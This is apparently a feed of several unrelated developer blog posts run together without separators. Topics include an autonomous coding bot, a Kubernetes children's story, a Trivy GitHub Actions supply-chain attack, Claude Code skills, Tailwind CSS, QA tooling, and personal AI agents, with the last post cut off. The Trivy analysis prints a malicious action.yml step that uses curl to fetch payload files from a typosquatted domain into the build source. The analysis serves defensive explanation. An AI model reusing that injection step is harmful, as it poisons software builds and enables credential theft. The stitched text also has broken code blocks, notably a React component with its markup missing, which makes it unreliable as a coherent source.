Error!! Failed Successfully

Part 5 of the MissionControl series. MissionControl is a Telegram bot that takes coding tasks in plain English, spawns a Claude Code session, and ships pull requests autonomously. Post 4 covered the safety stack and architecture after the first 48 hours.

The Notification

12:16 AM UTC. Telegram notification:

Task #23 failed: No commits produced despite success claim

Opened the Vercel URL anyway. The app loaded. Login screen with four demo users. Picked “Jordan,” dragged some flight options around, watched the Borda count scores update in real time. Fully functional group travel planner. Mobile responsive. TypeScript strict. Deployed to production.

The database said failed. The app said otherwise.

The Task

Task #23 was a stress test. After the safety stack work in Post 4 — budget caps, timeouts, commit verification — the question was simple: could the bot take a complex, multi-feature MVP brief and ship it end-to-end? No human intervention, no hand-holding, no retries.

The prompt: a detailed spec for a group travel planning app. React + Tailwind, deployed to Vercel, with trip creation, drag-to-rank voting across multiple categories (flights, lodging, activities), four demo users with different roles, pre-seeded data, and an admin/member permission split. About 250 words — a product brief you’d hand a junior developer on day one.

Full task prompt

Build a group travel planning web app (React + Tailwind, deploy to Vercel).

Core concept: One person creates a trip, invites others. The lead planner
adds options for each category; all members vote via drag-to-rank. Results
are visible to everyone in real time.

MVP Sections:
- Flights
- Lodging (hotel or Airbnb)
- Activities & Dining

Each section lets the planner add multiple options (name, price, link,
image). Members drag to rank them. The top-ranked option is highlighted
as the group pick.

Demo Setup:
- No auth needed — login screen with 4 selectable demo users
- User 1: "Jordan" (Lead Planner/Admin)
- Users 2-4: "Alex," "Sam," "Priya" (Members)
- Pre-filled trip: "Miami Trip — July 4th Weekend" with 2-3 options
  per section and partial votes already cast
- Switching users changes your voting perspective and UI role

Admin view: Add/edit/delete options, see full vote breakdown
Member view: Drag-to-rank only, see live results after voting

Key Features:
- Trip dashboard with progress (how many people have voted per section)
- Drag-to-rank voting UI per section per user
- Live results view showing ranked outcomes across all voters
- Mobile-first, responsive layout
- Invite link UI (non-functional, just show a copyable link)

Tech: React, Tailwind CSS, in-memory state (no backend needed for MVP).
Seed all demo data on load. Deploy to Vercel.

Start with the full file/folder structure, then build it completely —
no placeholders. It must be fully functional and deployable before stopping.

One message. No follow-ups. Ship it.

Three Attempts

Attempt 1 ran for 18 minutes, then went silent. Exit code: null. The CLI process never terminated cleanly — stopped producing output and sat there until the timeout killed it. No commits, no progress, nothing salvageable. Classic Opus-on-a-2-core-box behavior: the model spent so long planning it exceeded the soft timeout before writing a single file.

Attempt 2 lasted 8 minutes before catching a SIGTERM (exit code 143). Our own timeout enforcement killed it mid-work. The bot was making progress this time, but not fast enough. Nothing committed.

Attempt 3 — 9 minutes and 5 seconds. 49 turns. $1.56.

Clean exit. Code zero.

{
  "subtype": "success",
  "duration_ms": 543323,
  "num_turns": 49,
  "total_cost_usd": 1.56,
  "result": "Done. GroupTrip MVP deployed and live at https://grouptrip-work.vercel.app"
}

Commit 223a642 ships feat: build group travel planning web app MVP. Twenty-one files. 7,466 lines of code.

What It Built

The bot made every architectural decision on its own. No guidance on which drag-and-drop library to use, how to structure state, or what scoring algorithm to implement.

@dnd-kit for drag-and-drop. Not react-beautiful-dnd (deprecated), not react-dnd (heavier). The right call. Pulled in @dnd-kit/core, @dnd-kit/sortable, and @dnd-kit/utilities, then built a clean SortableItem component wrapping each votable option.

React Context over Redux. For an in-memory MVP with no backend, this is correct. A global store with useContext and structuredClone for immutable updates. No unnecessary dependencies, no boilerplate.

Borda count scoring. The brief said “drag to rank” and “top-ranked option highlighted.” The bot decided to use Borda count — a ranked-choice voting algorithm where each position gets a score (first place = N points, second = N-1, and so on). Calculated scores across all voters and surfaced the winner per category. Nobody asked for Borda count. The bot read “drag to rank” and picked an appropriate algorithm on its own.

The file structure:

src/
  components/
    CategorySection.tsx    # Per-category voting container
    Dashboard.tsx          # Trip overview + progress
    LoginScreen.tsx        # Demo user picker
    SortableItem.tsx       # dnd-kit wrapper
    VotingPanel.tsx        # Drag-to-rank UI
    ResultsPanel.tsx       # Borda count results
  lib/
    seed-data.ts           # Pre-filled Miami Trip
    store.tsx              # React Context state
  types/
    index.ts               # Shared TypeScript types

Clean separation. Types in one file, seed data isolated, state in its own module, seven focused components each doing one thing. The seed data included a pre-filled “Miami Trip” with three categories, 2-3 options each, and partial votes already cast — exactly as specified. Switching between demo users changes the perspective: Jordan sees admin controls, the others see the voting interface.

Code quality: 7.5 out of 10. TypeScript strict mode, no any types, proper immutability with structuredClone, clean component boundaries. A few things a senior dev would tighten — some components could be split further, the store could use a reducer pattern instead of raw setState — but nothing that would block a code review. Ship it.

The False Failure

The app works. It’s deployed. The code is clean. Why did the database say “failed”?

The sequence in the runner’s finally block:

1. CLI exited with code 0. Reported success.
2. Runner checks for commits: git rev-list --count main..HEAD.
3. At this exact moment, the working tree was dirty — Vercel CLI had written deployment cache files the bot didn’t commit.
4. Auto-rescue logic detected dirty state and ran git add -A && git commit -m 'WIP: auto-rescue'.
5. But the commit count check had already run against the branch before the rescue commit landed.

Race condition. The runner checked for commits, found zero (commit 223a642 was there, but the branch comparison ran against the wrong ref), then the rescue committed after the check. Error message: “no commits produced.” Reality: commit 223a642 had 7,466 lines of working code. The Vercel deploy had already completed inside the CLI session. The app was live at grouptrip-work.vercel.app before the runner even started its verification.

Failed successfully.

The Fix

The bot was doing things in the wrong order. The verification had a blind spot.

Commit f277b4b patched four things in the bot’s prompt template:

Build verification. Added npm run build as a required step after TypeScript checking and before committing. The bot was already running tsc --noEmit, but a passing type check doesn’t guarantee a passing build.

Vercel preview deploy. If the project has a .vercel/ directory or vercel.json, the bot now runs vercel --yes (not --prod) as a step. Preview deploys, not production. The human decides when to promote.

“Never merge to main” guardrail. Explicit instruction in the prompt: work on the feature branch, push the branch, the reviewer merges. The bot was already doing this. Making it explicit prevents drift.

“Never git add -A” guardrail. Stage specific files with git add <file>. Directly prevents the scenario that caused the false failure. If the Vercel CLI drops cache files in the working tree, the bot won’t blindly commit them.

The bot now follows the same workflow as the human team. Type check, build, commit specific files, push branch, deploy preview. No shortcuts.

The Scoreboard

Three attempts across two days:

Attempt 3: 49 turns, 1.16M cached tokens, 22.5K output tokens against Opus. Total API cost: $1.56.

What didn’t work: Opus on a 2-core server chokes on complex planning. Attempt 1 spent its entire budget thinking. Attempt 2 got killed by our own timeout enforcement before finishing. Two runs wasted — not because the model couldn’t do the work, but because the infrastructure couldn’t give it enough room to think.

What worked: when the bot actually got to execute, it made good decisions. Right library for drag-and-drop. Right state management for the scope. Right algorithm for ranked voting. Clean file structure. TypeScript strict. Deployed and functional.

$1.56 and 9 minutes of compute. An autonomous agent built a production-quality MVP that would take a human developer a full day. The app is live. The code is clean.

The database was wrong.

Failed successfully.

Next up: Post 6 — 33 tasks analyzed to find out what actually works, what doesn’t, and where the money goes.

A Kubernetes Story for Little Explorers 🧒✨

🏰 Once Upon a Time…

In a faraway digital land called Kuberlandia, there lived a wise wizard named Kube-Master 🧙‍♂️✨. His job was to make sure all the toy applications 🧸🚗🎮 ran happily and never got lost!

📦 Chapter 1: The Magic Toy Boxes (Containers) 🎁

Every toy in Kuberlandia lived in a Magic Toy Box 📦✨.

• Each box had everything the toy needed: snacks 🍪, blankets 🛏️, and instructions 📋
• These boxes were called Containers 🐳 (like Docker the friendly whale!)
• No matter where the box traveled, the toy inside was always happy! 🎈

🎯 Lesson: Containers keep apps safe and portable!

🏠 Chapter 2: Cozy Little Houses (Pods) 🛏️

Sometimes, toys liked to have roommates! 🤗

• The wizard put 1 or more Magic Toy Boxes into a Cozy Little House called a Pod 🏠💫
• Pods were the smallest homes in Kuberlandia 🌱
• Friends in the same Pod could share toys and talk easily! 🗣️🎲

🎯 Lesson: Pods are the smallest units that hold one or more containers!

🎪 Chapter 3: The Big Playground (Nodes)

All the Cozy Houses lived on big, strong Playgrounds called Nodes 💪

• Each Node had energy (CPU) ⚡, memory (RAM) 🧠, and space (Storage) 🗄️
• Some playgrounds were big, some were small — but all were important! 🌈

🎯 Lesson: Nodes are the computers (servers) that run your pods!

🌍 Chapter 4: The Grand Kingdom (Cluster) 👑

All the playgrounds together made the Grand Kingdom of Kuberlandia — also called a Cluster! 🏰✨

• The wizard could add more playgrounds whenever more toys arrived! 🎁➕
• If one playground needed a nap 🛌, the toys just moved to another! 🔄

🎯 Lesson: A cluster is a group of nodes working together!

🤖 Chapter 5: The Helpful Helpers ✨

The wizard had magical friends to help run the kingdom:

Chapter 6: The Magic Spells (Kubernetes Features) 🌈

🔁 Self-Healing Magic ✨

If a toy got sleepy and fell over 😴, the wizard’s spell would automatically wake up a new one! 🔄🎈
“Don’t worry, little toy — we’ve got you!” 💙

📈 Scaling Spell (More Fun!) 🎉

When lots of kids wanted to play 🧒🧒🧒, the wizard could cast:

✨ "Make 5 more toy houses!" ✨

And POOF! 🎇 More Pods appeared to keep everyone happy! 🥳

🔄 Rolling Updates (New Toys!) 🎁

When a toy got a cool new outfit 👕✨, the wizard updated them one-by-one — so playtime never stopped! 🎠

🏷️ Service: The Friendly Name Tag

Instead of remembering complicated addresses 🗺️, toys just called each other by friendly names:

"Hey, 🎮 GameServer! Can I join?" 🙋‍♂️

The Service magic made sure they always found each other! 🤝💫

📜 Chapter 7: The Wizard’s Recipe Book (YAML) 📖✍️

The wizard wrote all his wishes in a special recipe book using YAML scrolls 📜✨:

🧸 Toy: SuperFunGame
📦 Boxes: 1
🏠 Houses: 3 copies (just in case!)
🎪 Playground: Any with extra energy! ⚡
✨ Magic: If one falls, make a new one! 🔄

🎯 Lesson: YAML files tell Kubernetes what you want it to do!

🎊 The Happy Ending 🎊

Thanks to Kuberlandia’s magic:

• ✅ Toys never get lost 🗺️💙
• ✅ Parties grow automatically when friends arrive 🎈➕
• ✅ Broken toys are replaced like magic! 🪄🔧
• ✅ Everyone plays happily ever after! 🌈🧸🚀

🧒 Quick Recap for Little Geniuses:

🌟 Remember, little explorer: Kubernetes is like a magical kingdom that helps computer toys play together, stay safe, and have endless fun — all by themselves! 🤖💙✨

🎈 Now you know the secret of Kuberlandia! 🗝️🐳🚀

The End… or just the beginning of your cloud adventure! 🌤️🗺️💻

The Trivy Supply Chain Attack: Why SHA Pinning Isn’t Enough for GitHub Actions

For years, the “gold standard” for securing GitHub Actions has been simple: Pin your actions to a full length commit SHA.

The logic was sound. Tags like @v3 are mutable; a maintainer (or an attacker with their credentials) could move the tag to a malicious commit. A SHA, however, is immutable. Once you verify actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608, you are safe. Or so we thought.

On March 4, 2026, the aquasecurity/trivy repository—one of the most trusted security scanners in the industry—was compromised. The attacker didn’t steal a maintainer’s password. They didn’t compromise a dependency. Instead, they exploited a fundamental architectural flaw in how GitHub handles commit visibility across forks.

In this deep dive, we’ll analyze the mechanics of the Trivy attack, why SHA pinning failed to prevent it, and the concrete steps you must take to secure your production CI/CD pipelines.

The Anatomy of the Compromise

The attack began with commit 1885610c in the aquasecurity/trivy repository. To a casual observer, the commit looked like routine maintenance. The message read: fix(ci): Use correct checkout pinning.

The diff appeared harmless. It swapped single quotes for double quotes and updated the SHA for actions/checkout.

# Before
- uses: actions/checkout@v4
  with:
    fetch-depth: 0

# After
- uses: actions/checkout@70379aad... # v6.0.2
  with:
    fetch-depth: 0

The attacker even added a comment # v6.0.2 to make it look legitimate. However, v6.0.2 of actions/checkout didn’t exist. More importantly, the SHA 70379aad didn’t belong to the official actions/checkout repository.

The “Orphaned Commit” Trick

This is where the attack gets sophisticated. GitHub’s architecture allows any commit from a fork to be reachable via the parent repository’s API and UI if you have the SHA.

The attacker:

1. Forked actions/checkout.
2. Committed malicious code to their fork.
3. Identified the SHA of that malicious commit.
4. Submitted a PR to trivy (or pushed directly if they had access) using that SHA.

Because the SHA is technically “in” the actions/checkout network, GitHub Actions happily fetched it. The security community calls these “orphaned commits.” They are commits that exist in the database but aren’t part of any branch or tag in the main repository.

Technical Deep Dive: The Payload

The malicious commit replaced the standard action.yml with a composite action that performed a legitimate checkout and then silently injected malware into the Trivy source tree before the build started.

# Malicious action.yml snippet
runs:
  using: "composite"
  steps:
    - name: "Setup Checkout"
      shell: bash
      run: |
        BASE="https://scan.aquasecurtiy[.]org/static"
        curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null
        curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null
        # ... more injections

The attacker used a typosquatted domain (aquasecurtiy.org) to host the payloads. These Go files were then compiled into the official Trivy binary. When users downloaded the “official” v0.69.4 release, they were actually running a poisoned binary that could steal environment variables, cloud credentials, and source code.

Why SHA Pinning Failed

SHA pinning is designed to prevent Tag Hijacking. It ensures that the code you reviewed is the code that runs. However, it does not verify:

1. Provenance: Is this SHA from the repository I think it is?
2. Authorization: Was this commit signed by a trusted maintainer?

In the Trivy case, the SHA was valid, but it came from a malicious fork. GitHub’s UI often makes this hard to spot, as it will show the commit as belonging to the parent repo if you access it via the parent’s URL.

How to Actually Secure Your Pipelines

If SHA pinning isn’t enough, what is? We need a multi-layered defense strategy.

1. Enforce Least Privilege with Permissions

Most GitHub Actions workflows run with broad permissions by default. You should explicitly define the minimum permissions required.

permissions:
  contents: read
  id-token: write # Only if using OIDC

By setting contents: read, you prevent a compromised action from pushing malicious code back to your repository.

2. Use OpenSSF Scorecard

The OpenSSF Scorecard can automatically detect if you are using unpinned actions or if your dependencies are risky. Integrate it into your CI to fail builds that don’t meet security standards.

# Example Scorecard check
scorecard --repo=github.com/your/repo

3. Implement OIDC for Cloud Access

Never store long-lived AWS or GCP secrets in GitHub Actions. Use OpenID Connect (OIDC) to exchange a short-lived GitHub token for cloud credentials.

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::1234567890:role/my-github-role
    aws-region: us-east-1

4. Verify Commit Signatures

While GitHub doesn’t yet allow you to “only run signed actions,” you can use tools like step-security/harden-runner to monitor network outbound calls and detect unauthorized curl or wget commands during your build.

steps:
  - uses: step-security/harden-runner@v2
    with:
      egress-policy: block
      allowed-endpoints: 
        github.com:443
        proxy.golang.org:443

Conclusion

The Trivy attack is a wake-up call. Supply chain security isn’t a “set it and forget it” task. SHA pinning is a necessary first step, but it must be coupled with strict permissions, network monitoring, and automated security scoring.

Discussion Prompt: Have you audited your GitHub Actions for orphaned commit risks? What tools are you using to monitor CI/CD egress traffic?

Ameer Hamza is a Top-Rated Full-Stack Developer with 7+ years of experience building SaaS platforms, eCommerce solutions, and AI-powered applications. He specializes in Laravel, Vue.js, React, Next.js, and AI integrations—with 50+ projects shipped and a 100% job success rate. Check out his portfolio at ameer.pk to see his latest work, or reach out for your next development project.

I built an AI skill that writes LinkedIn posts. Then I used that skill to write the LinkedIn post about it.

That’s either very meta or very efficient. Probably both.

What Even Is a Claude Code Skill?

A skill is a folder with a Markdown file inside it. That Markdown file teaches Claude exactly how to handle a specific task — your tone, your format, your rules, your quirks.

No Python. No backend. No complex config. Just structured instructions.

The folder goes in ~/.claude/skills/. You invoke it with a slash command. Claude reads the instructions and executes them.

That’s it. The entire mechanism.

~/.claude/skills/
└── linkedin-post-creator/
    └── SKILL.md          ← this is the whole thing

It sounds too simple until you actually build one and realise how much you’ve just automated.

How Skills Are Loaded (The Smart Part)

What makes this more than just a text file is Claude’s progressive disclosure model:

• Level 1 — always loaded: just the skill name and description (token-cheap, always visible)
• Level 2 — loaded on trigger: the full SKILL.md instructions (only when you invoke it)
• Level 3 — on demand: any scripts, references, or asset files bundled in the folder

Claude only loads what it needs, when it needs it. Your context window stays clean until you actually invoke the skill.

graph TD
    A[Session Start] --> B[Level 1: Load name + description only]
    B --> C{Skill invoked?}
    C -- Yes --> D[Level 2: Load SKILL.md instructions]
    D --> E{Scripts/references needed?}
    E -- Yes --> F[Level 3: Load on demand]
    E -- No --> G[Execute with SKILL.md only]
    C -- No --> H[Skills stay dormant — no context cost]

📌 Pro Tip: Keep your SKILL.md under 500 lines. Move heavy reference docs into a references/ subfolder — Claude loads them only when the task needs them.

🔧 Step 1: Pick Something You Do Repeatedly

The best skill candidates are tasks that:

• Happen frequently
• Have a consistent structure
• Require you to re-explain your preferences every time

For me, writing LinkedIn posts checked all three. Every session I was re-explaining my tone, my formatting style, my target audience, my hashtag strategy. Same setup work, every time.

That’s a skill waiting to be built.

📝 Step 2: Write the SKILL.md

The SKILL.md has two parts: YAML frontmatter and a Markdown body.

---
name: linkedin-post-creator
description: "Creates LinkedIn posts in the author's personal voice and format.
  Use when asked to write a LinkedIn post, create content, or draft a professional
  update. Triggers: linkedin post, write post, social media content."
version: "1.0.0"
---

# LinkedIn Post Creator

You write LinkedIn posts in the author's personal voice.

## Voice and Tone
- Conversational but insightful
- First-person experience ("I built", "I tried", "Here's what happened")
- Hook in the first line — no slow warm-ups

## Format
- Short paragraphs, 2–3 lines max
- Emojis as visual anchors, not decoration
- Break ideas with --- dividers
- End with a question to drive comments
- 3–5 relevant hashtags at the bottom

## Workflow
1. Research the topic using live web data
2. Generate 3 complete post variations
3. Save all three to a timestamped file in the project

The description field is the most important. It tells Claude what the skill does and when to use it. Write it in third person with explicit trigger keywords — Claude uses this to decide whether to auto-invoke the skill when your request matches.

🤖 Step 3: Invoke It

Once the skill is in ~/.claude/skills/, invoking it is just:

/linkedin-post-creator grafana alert automation

Claude reads the SKILL.md, applies your voice and format, and generates content. With live web search hooked up (via Tavily MCP), it researches the topic first, then writes.

The output: three post variations, saved to a timestamped file automatically. What used to take 20–30 minutes of drafting and editing takes about 30 seconds of review and picking the best option.

💡 Step 4: Add Supporting Files (Optional but Powerful)

Skills can bundle more than just instructions:

~/.claude/skills/linkedin-post-creator/
├── SKILL.md                    ← instructions
├── references/
│   └── past-posts.md           ← examples of your best posts for calibration
├── examples/
│   └── sample-output.md        ← ideal output format
└── scripts/
    └── save-post.sh            ← auto-save to project folder

The references/ and scripts/ directories are only loaded on demand (Level 3). They don’t cost context tokens until needed.

📌 Pro Tip: Drop a few of your best past posts into references/past-posts.md. Claude will calibrate its output to match your actual style, not a generic version of it.

🚀 Step 5: Build Your First Skill With a Skill

Anthropic ships a skill-creator meta-skill in their official repo. It guides you through building other skills interactively — which is exactly as recursive as it sounds.

# 1. Download from the official repo
#    https://github.com/anthropics/skills/tree/main/skills/skill-creator

# 2. Drop it in your skills directory
cp -r skill-creator ~/.claude/skills/

# 3. Invoke it inside Claude Code
/skill-creator

It asks what you want to automate, walks you through defining the instructions, and generates the SKILL.md for you. Then it can also eval and benchmark the skill to make sure it triggers correctly.

If you’re not sure where to start, start here.

The Compounding Effect

Here’s what surprised me most: skills don’t just save time once. They compound.

After /linkedin-post-creator, I built:

• /commit — structured git commit messages in my preferred format
• /agent-builder — scaffolds new Claude agent configurations from a description
• /breakdown — takes a product requirement and breaks it into epics and tasks
• /tech-blog-generator — writes dev.to posts in my personal style (meta: this post was written with it)

Each took less than an hour. Each saves hours per month. And each one made the next faster to build — the pattern becomes automatic.

The mental model shifts: you stop thinking “how do I do this task” and start thinking “should I build a skill for this?”

graph LR
    A[Identify repetitive task] --> B[Write SKILL.md]
    B --> C[Invoke with /skill-name]
    C --> D[Iterate instructions]
    D --> E[Task automated]
    E --> F[Build next skill faster]
    F --> A

What I Learned About Writing Good Skill Instructions

A few things that made the difference between skills that work and skills that don’t:

Be explicit about WHEN to use it. Vague descriptions mean Claude either never auto-fires or fires at the wrong time. Add positive triggers (“use when writing a LinkedIn post”) and negative boundaries (“do not use for email drafts”).

Keep the body under 500 lines. Long skill files bloat Level 2 load. Move domain-specific docs to references/ and reference them by filename.

Add examples. An examples/ folder with ideal inputs and outputs calibrates Claude’s output style better than any amount of written instruction.

Iterate. Your first skill will be too vague. Use it once, notice what Claude gets wrong, tighten the instructions, try again. Skills improve through iteration, not perfection.

Why This Feels Different From Other AI Tools

I’ve used AI tools that need APIs, pipelines, and orchestration frameworks. Powerful for complex systems — overkill for daily workflow tasks.

Skills are the right abstraction for the right problem:

• Portable — a folder you copy anywhere
• Version-controllable — just text, lives in git
• No infrastructure — no deployment, no API keys beyond what Claude already has
• Hot-reload — Claude Code 2.1 detects edits to ~/.claude/skills/ without restarting the session

The closest analogy is a specialist who already knows your preferences. You don’t explain your style every time. You just assign the task.

✅ Zero infrastructure — a folder with a text file
✅ Persistent preferences — voice, format, and rules applied every time
✅ Composable — skills can reference other skills
✅ Compounding value — each skill makes the next faster to build
✅ Hot-reloadable — iterate without restarting your session

What Would You Automate First?

I’m curious what repetitive tasks you’re still doing manually that a skill could handle. Writing? Code review? Documentation? Stand-up summaries?

Drop it in the comments — I’d love to brainstorm.

👋 Let’s Connect

If you found this useful or want to compare skill setups, I’d love to connect.

🔗 Connect with me on LinkedIn
📧 Email: [email protected]

Building AI-native developer workflows, one skill at a time. 🚀

I used to hate utility classes.

Coming from a “clean CSS” mindset—BEM, semantic naming, separate stylesheets—Tailwind looked messy. Long class strings, no clear separation of concerns… it just didn’t feel right.

But after building a few real projects (especially dashboards and SaaS-style apps), my perspective completely changed.

This isn’t a beginner guide. This is what actually matters if you want to use Tailwind CSS in a way that scales.

The Turning Point: When CSS Stops Scaling

At some point, every growing project hits the same problems:

Stylesheets become harder to navigate
Small changes break unrelated components
Naming things becomes harder than writing the styles
You start duplicating styles without realizing it

I ran into this while building a dashboard. The UI wasn’t even that complex, but maintaining the CSS became more painful than writing the logic.

That’s where Tailwind started making sense.

Utility-First Isn’t About Speed — It’s About Control

Most people say Tailwind is “faster.” That’s true, but it’s not the real advantage.

The real advantage is control and predictability.

Instead of writing custom CSS like this:

.card {
  padding: 16px;
  background: white;
  border-radius: 8px;
}

<div class="p-4 bg-white rounded-lg"></div>

At first glance, it looks messy. But here’s the difference:

You’re not inventing new styles every time
You’re using a consistent system
There’s no hidden CSS somewhere else

Everything is right in front of you.

The Big Mistake: Treating Tailwind Like Inline CSS

A lot of people quit Tailwind early because they do this:

<div class="p-4 mt-2 mb-2 bg-white rounded-lg shadow-md border border-gray-200">
`
``
And repeat it everywhere.

That’s not scalable.

What actually works:

Once you notice repetition, abstract it into components.

If you're using React:

function Card({ children }) {
return (

{children}

)
}

Now Tailwind becomes powerful:

Utilities for flexibility
Components for reuse

That balance is everything.

Tailwind Config = Your Design System

This is where most beginners don’t go deep enough.

Your tailwind.config.js is not just config—it’s your design system.

Instead of randomly picking values, define them:

`theme: {
  extend: {
    colors: {
      primary: '#0ea5e9',
    },
    spacing: {
      18: '4.5rem',
    }
  }
}
Now your entire UI speaks the same language.

This matters a lot when:

You’re building SaaS products
You want consistent branding
You’re working with other developers
Performance Is Actually Better (If You Do It Right)

One thing I didn’t expect: Tailwind can produce smaller CSS than traditional setups.

Why?

Because it removes everything you don’t use.

In production, Tailwind scans your files and only keeps the classes you used.

Result:

No unused CSS
Smaller bundle size
Faster load times

For landing pages or Gumroad products, this is a big win.

What I Wish I Knew Earlier

If you're trying to get serious with Tailwind, focus on this:

1. Don’t memorize classes

You’ll naturally learn them by building.

2. Don’t avoid components

Utilities alone won’t scale—components will.

3. Stick to the system

Random values = messy UI later.

4. Keep things readable

Break long class lists into multiple lines if needed.

When Tailwind Is NOT the Best Choice

Let’s be real—Tailwind isn’t perfect.

It might not be ideal if:

You’re working on very small projects
You prefer strict separation of HTML and CSS
Your team strongly prefers traditional styling

But for:

SaaS apps
Dashboards
Landing pages
Startup MVPs

…it’s honestly one of the best tools right now.

Final Thought

Tailwind isn’t about writing less CSS.

It’s about removing the chaos that comes with scaling CSS.

Once you stop thinking in terms of “stylesheets” and start thinking in systems, everything changes.

And that’s when Tailwind really clicks.`

Purpose

Research and evaluate AI-powered tools and workflows to improve test automation efficiency, specifically for test creation speed and reducing maintenance time when UI or business flows change. Focus on tools compatible with an existing Playwright + pytest (Python) stack and IntelliJ IDE.

Current Workflow & Pain Points

The two primary pain points in test automation are:

Creating new tests: Requires manually assembling context (page objects, fixture patterns, example tests) and writing tests that match existing conventions. The copy-paste workflow works but is slow and repetitive.

Updating tests when UI or flows change: When the product changes, tests break. Diagnosing which tests are affected, understanding what changed, and fixing them to match the new behavior consumes significant time.

Tools Evaluated

Claude Code (Anthropic) — Recommended

Claude Code is a terminal-based AI coding assistant that works with your entire codebase as context. It integrates with IntelliJ via a plugin (currently in beta) and can read, generate, and modify files directly in the project.

Key advantages:

• Works in IntelliJ via plugin or integrated terminal. No IDE switch required.

• Reads the full repository — page objects, fixtures, test files so generated code matches existing patterns and conventions.

• Supports a CLAUDE.md configuration file in the project root which contains definitions of framework conventions, naming patterns, fixture usage, and domain context. This ensures output is framework-specific and not generic.

• Suggests changes via IntelliJ’s native diff viewer, making review and approval straightforward.

• Shares IDE diagnostics (lint errors, syntax issues) automatically.

• Available on Pro plan ($20/month), which is sufficient for regular usage.

Used for: Generated a change billing test using Claude Code with full project context. The output followed existing page object patterns, used the correct fixtures, and required minimal manual adjustment.

Playwright MCP (Model Context Protocol)

Playwright MCP is a server that gives AI tools live browser access. Instead of manually inspecting the DOM for selectors or using codegen tools, Claude Code can navigate the application, interact with elements, and read the actual page structure.

Useful for: Discovering selectors on new or changed pages without manually opening DevTools / Codegen. Especially valuable when new UI elements are added as part of feature changes. Requires guidance on which flow to walk through (natural language instructions).

Playwright Agents (Planner / Generator / Healer) — Not Compatible Yet

Playwright v1.56 introduced three AI agents that can generate test plans, create test code, and automatically fix broken tests. The Healer agent is particularly interesting for maintenance. It replays failing tests, inspects the live UI, and patches selectors or waits.

However, these agents currently only support TypeScript/JavaScript. There is an open feature request for Python support but no timeline.

Cursor — Viable Alternative

Cursor is an AI-powered IDE (VS Code-based) that provides full codebase context and inline AI editing. Comparable to Claude Code in capabilities for test generation.

Disadvantage: Requires switching from IntelliJ to a VS Code-based editor, which means losing existing IDE configuration, shortcuts, and debugging setup. The functionality overlap with Claude Code did not justify the migration cost.

Platform-Based Tools (Testim, Mabl, Katalon, ContextQA)

These are full test automation platforms with AI features including self-healing selectors, test generation from natural language, and visual test builders.

Not recommended because:

• They require adopting their platform and abandoning your existing framework.

• Generated test code is generic and does not match existing page object structure, fixture patterns, or naming conventions.

• You lose domain-specific knowledge already embedded in your current test suite.

• Migrating away from a platform later is expensive.

Qase Aiden

Evaluated previously and joined a live demo call. Generates test code but it is generic and does not adapt to codebase patterns. Same limitation as the platform tools above.

Implementation

Completed:

• Installed Claude Code CLI

• Set up Playwright MCP server for live browser access during test creation

• Created CLAUDE.md in project root with framework conventions, project structure, page object patterns, fixture descriptions, test naming conventions, and domain context

• Successfully generated a test using Claude Code with full project context — output matched existing framework patterns

Next steps:

• Continue using Claude Code for upcoming test generation (simple vs complex tests and comparison between them)

• Use Claude Code for upcoming test maintenance and updates to measure time savings vs manual approach

• Continue monitoring Playwright Agents for Python support

• Research and write about Javascript agent healers

Takeaway

After evaluating the available tools, the best results came from bringing AI into the existing codebase rather than switching to a new platform. The md file made the biggest difference — once the framework conventions were clearly described, the generated code matched existing patterns consistently. There’s a clear improvement in speed for both test creation and maintenance, but it still requires human guidance, architectural thinking, and review. It’s a powerful assistant, not a replacement, but one wonders what else it will be capable of in the future.

I’m a solo QA automation engineer and founder based in Slovenia. I build test frameworks, evaluate tooling, and write about what actually works in QA. Find me on LinkedIn.

Personal AI Agents: What They Actually Are and Why They’re About to Change Everything

Beyond chatbots and copilots — understanding the autonomous assistants that will manage your digital life, where your data lives, and how to build one yourself.

Hook

Your phone has 147 apps, your laptop runs 23 browser tabs, and you spend two hours daily just managing the tools that were supposed to save you time — copying data between services, checking notifications, remembering which app does what.

What if one AI actually understood your entire digital life and could act on your behalf? Not just answer questions like ChatGPT, not just autocomplete like Copilot, but genuinely do things — book the dinner reservation, reschedule the conflicting meeting, file the expense report, and draft the follow-up email — all while you’re walking the dog.

That’s the promise of personal AI agents, and unlike most AI hype, the technology to build them exists today. The catch? Almost nobody understands what “agent” actually means, where the real breakthroughs are happening, or why the current crop of “AI agents” are mostly chatbots in a trench coat.

By the end of this piece, you’ll understand exactly what separates a genuine agent from a glorified autocomplete, where your data actually lives in these systems, and you’ll have working code to build a simple personal agent yourself.

The Agent Confusion: Why Everyone’s Using the Same Word for Different Things

Let’s clear something up before we go any further: the word “agent” has become tech’s most overloaded term since “cloud.” Everyone’s using it, and almost no one means the same thing.

Here’s how to think about the actual spectrum of AI assistance:

Chatbots answer questions. You ask, they respond. Think early Siri or those frustrating customer service bots that make you type “speak to human” seventeen times.

Copilots work alongside you in real-time. GitHub Copilot suggests code as you type. You’re still driving; they’re just a really good passenger offering directions.

Assistants handle discrete tasks when asked. “Schedule a meeting with Sarah next Tuesday” — they understand context, access your calendar, and complete the action. But they wait for instructions.

Agents pursue goals autonomously. You say “plan my trip to Tokyo” and they research flights, check your calendar for conflicts, remember you hate layovers, book accommodations near the conference venue you mentioned last month, and ping you only when decisions require your input.

The critical distinction isn’t intelligence — it’s who’s steering. Tools you operate require your attention throughout the process. Systems that operate for you need only your intent and your trust.

And this is where “personal” becomes the word that matters most. Your personal agent isn’t just an AI that takes actions — it’s an AI that knows you. Not just your current question, but your preferences, your history, your quirks, your goals. It remembers you’re vegetarian. It knows you always procrastinate on expense reports. It understands that when you say “soon,” you mean “within two days,” not “sometime this quarter.”

That persistent, personalized context is what transforms an agent from a powerful tool into something that feels more like a trusted assistant.

The Four Pillars That Make an Agent Truly Personal

What separates a genuinely personal agent from a generic AI assistant? Four capabilities that work together like legs of a table — remove any one, and the whole thing topples.

Persistent Memory is the foundation. Your agent needs to remember that you prefer window seats, that you had a bad experience with that vendor last year, and that your Tuesday afternoons are sacred for deep work. Not just for this conversation — for months. Without memory that spans sessions, every interaction starts from zero, and you’re back to explaining yourself like you’re talking to a stranger.

Deep Personalization goes beyond remembering facts to understanding patterns. Your agent learns that you write emails differently to clients versus colleagues. It notices you always underestimate how long design reviews take. It picks up that “let me think about it” usually means no. This isn’t data storage — it’s building a working model of how you operate.

